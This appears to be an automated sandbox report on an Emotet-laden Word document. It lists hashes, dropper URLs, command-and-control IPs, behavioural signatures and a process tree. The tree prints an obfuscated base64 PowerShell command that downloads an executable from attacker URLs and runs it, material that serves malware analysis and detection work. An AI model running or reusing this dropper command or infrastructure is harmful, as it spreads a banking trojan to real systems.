emotet | a3590834519cd4c712020818d0313fb9e200d96cb544d750b19d8bb19bd4aa13

General

Target

emotet_e1_a3590834519cd4c712020818d0313fb9e200d96cb544d750b19d8bb19bd4aa13_2020-07-28__201730._doc.doc
Size

169KB
MD5

6f489131611caa0d325a2eb3b3209bf7
SHA1

e52828558bffb38fc52bb1fc38d1697f7b79b9c1
SHA256

a3590834519cd4c712020818d0313fb9e200d96cb544d750b19d8bb19bd4aa13
SHA512

738d21e72206cb4bbef4b9438bee88a77ab3e0ebead1a94fb807e8fc40b3be7cf837debe3b4453c64a2404e9ce167fd282b4a96bb8785ac0be4d2f08ad5c7992

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://globeartdesigners.com/assets/lR/

exe.dropper

http://karerguvenlik.com/bayi/6UF4rtEz/

exe.dropper

https://juroca.com/language/Uiv/

exe.dropper

https://www.lgpass.com/images/Wk128/

exe.dropper

http://m0h.net/nano/WLfQ/

Extracted

Family

emotet

C2

179.60.229.168:443

185.94.252.13:443

189.218.165.63:80

77.90.136.129:8080

217.199.160.224:7080

104.131.41.185:8080

2.47.112.152:80

185.94.252.27:443

186.250.52.226:8080

51.255.165.160:8080

68.183.170.114:8080

191.99.160.58:80

104.131.103.37:8080

181.31.211.181:80

202.62.39.111:80

83.169.21.32:7080

87.106.46.107:8080

72.47.248.48:7080

177.75.143.112:443

190.17.195.202:80

rsa_pubkey.plain

Signatures

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
424	WINWORD.EXE
424	WINWORD.EXE
424	WINWORD.EXE
424	WINWORD.EXE
424	WINWORD.EXE
424	WINWORD.EXE
424	WINWORD.EXE
424	WINWORD.EXE
424	WINWORD.EXE
3964	369.exe
3964	369.exe
580	msscntrs.exe
580	msscntrs.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1720	powersheLL.exe

Blacklisted process makes network request 1 IoCs

flow	pid	Process
21	1720	powersheLL.exe

Emotet Payload 2 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3964-8-0x0000000000B10000-0x0000000000B1C000-memory.dmp	emotet
behavioral2/memory/580-11-0x0000000000570000-0x000000000057C000-memory.dmp	emotet

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\MSWB7\msscntrs.exe	369.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
424	WINWORD.EXE
424	WINWORD.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1720	792	powersheLL.exe	66

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
1720	powersheLL.exe
1720	powersheLL.exe
1720	powersheLL.exe
580	msscntrs.exe
580	msscntrs.exe
580	msscntrs.exe
580	msscntrs.exe
580	msscntrs.exe
580	msscntrs.exe

Executes dropped EXE 2 IoCs

pid	Process
3964	369.exe
580	msscntrs.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3964 wrote to memory of 580	3964	369.exe	77
PID 3964 wrote to memory of 580	3964	369.exe	77
PID 3964 wrote to memory of 580	3964	369.exe	77

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_a3590834519cd4c712020818d0313fb9e200d96cb544d750b19d8bb19bd4aa13_2020-07-28__201730._doc.doc" /o ""
1⤵
- Suspicious use of SetWindowsHookEx
- Enumerates system info in registry
- Checks processor information in registry
- Suspicious behavior: AddClipboardFormatListener
PID:424

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABRAFYARgBLAEkAawB5AGgAPQAnAEUAUABEAFIARgBvAGsAZAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBgAFUAUgBJAFQAWQBwAHIATwBgAFQAYABPAGAAYwBPAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABLAFYAQwBGAFkAdgBtAGUAIAA9ACAAJwAzADYAOQAnADsAJABEAFYAWABTAEoAawBxAGoAPQAnAE8AVQBRAFgAQgBpAHYAbQAnADsAJABZAE0ASQBGAEYAagBpAGMAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEsAVgBDAEYAWQB2AG0AZQArACcALgBlAHgAZQAnADsAJABPAEQAWQBIAFgAaABlAG0APQAnAFQAUABOAFYAVQBtAGkAYgAnADsAJABBAEsAUwBSAFcAeABjAHYAPQAmACgAJwBuAGUAJwArACcAdwAnACsAJwAtACcAKwAnAG8AYgBqAGUAYwB0ACcAKQAgAE4AZQB0AC4AVwBFAGIAYwBMAGkARQBuAFQAOwAkAEkAQQBIAEEATAB3AGEAZgA9ACcAaAB0AHQAcAA6AC8ALwBnAGwAbwBiAGUAYQByAHQAZABlAHMAaQBnAG4AZQByAHMALgBjAG8AbQAvAGEAcwBzAGUAdABzAC8AbABSAC8AKgBoAHQAdABwADoALwAvAGsAYQByAGUAcgBnAHUAdgBlAG4AbABpAGsALgBjAG8AbQAvAGIAYQB5AGkALwA2AFUARgA0AHIAdABFAHoALwAqAGgAdAB0AHAAcwA6AC8ALwBqAHUAcgBvAGMAYQAuAGMAbwBtAC8AbABhAG4AZwB1AGEAZwBlAC8AVQBpAHYALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAGwAZwBwAGEAcwBzAC4AYwBvAG0ALwBpAG0AYQBnAGUAcwAvAFcAawAxADIAOAAvACoAaAB0AHQAcAA6AC8ALwBtADAAaAAuAG4AZQB0AC8AbgBhAG4AbwAvAFcATABmAFEALwAnAC4AIgBzAGAAcABMAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFMARABWAFoAUwBhAHMAdAA9ACcATgBTAEIASQBLAGMAYwBwACcAOwBmAG8AcgBlAGEAYwBoACgAJABVAFQATQBLAEcAYQBsAGgAIABpAG4AIAAkAEkAQQBIAEEATAB3AGEAZgApAHsAdAByAHkAewAkAEEASwBTAFIAVwB4AGMAdgAuACIARABgAE8AVwBOAGwAbwBgAEEARABGAGAAaQBMAEUAIgAoACQAVQBUAE0ASwBHAGEAbABoACwAIAAkAFkATQBJAEYARgBqAGkAYwApADsAJABHAFcAWABRAE4AeABkAHcAPQAnAFIAVABaAEUAUABhAGsAZAAnADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAFkATQBJAEYARgBqAGkAYwApAC4AIgBsAGAAZQBOAEcAdABoACIAIAAtAGcAZQAgADIANgA1ADEANAApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAQwBSAGAARQBhAGAAVABFACIAKAAkAFkATQBJAEYARgBqAGkAYwApADsAJABQAEwAWQBPAEUAegBxAHQAPQAnAEsARgBMAFMARgBnAGIAZQAnADsAYgByAGUAYQBrADsAJABDAFEAWQBXAFYAZwBiAHoAPQAnAEoAQwBBAFkASAB1AHEAegAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABJAEkAUwBRAFcAZAB3AG0APQAnAEcAQQBVAFgATgB3AGsAYgAnAA==
1⤵
- Suspicious use of AdjustPrivilegeToken
- Blacklisted process makes network request
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
PID:1720

C:\Users\Admin\369.exe
C:\Users\Admin\369.exe
1⤵
- Suspicious use of SetWindowsHookEx
- Drops file in System32 directory
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3964
- C:\Windows\SysWOW64\MSWB7\msscntrs.exe
  "C:\Windows\SysWOW64\MSWB7\msscntrs.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  - Suspicious behavior: EnumeratesProcesses
  - Executes dropped EXE
  PID:580

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/580-11-0x0000000000570000-0x000000000057C000-memory.dmp

Filesize
48KB

Download
memory/3964-8-0x0000000000B10000-0x0000000000B1C000-memory.dmp

Filesize
48KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads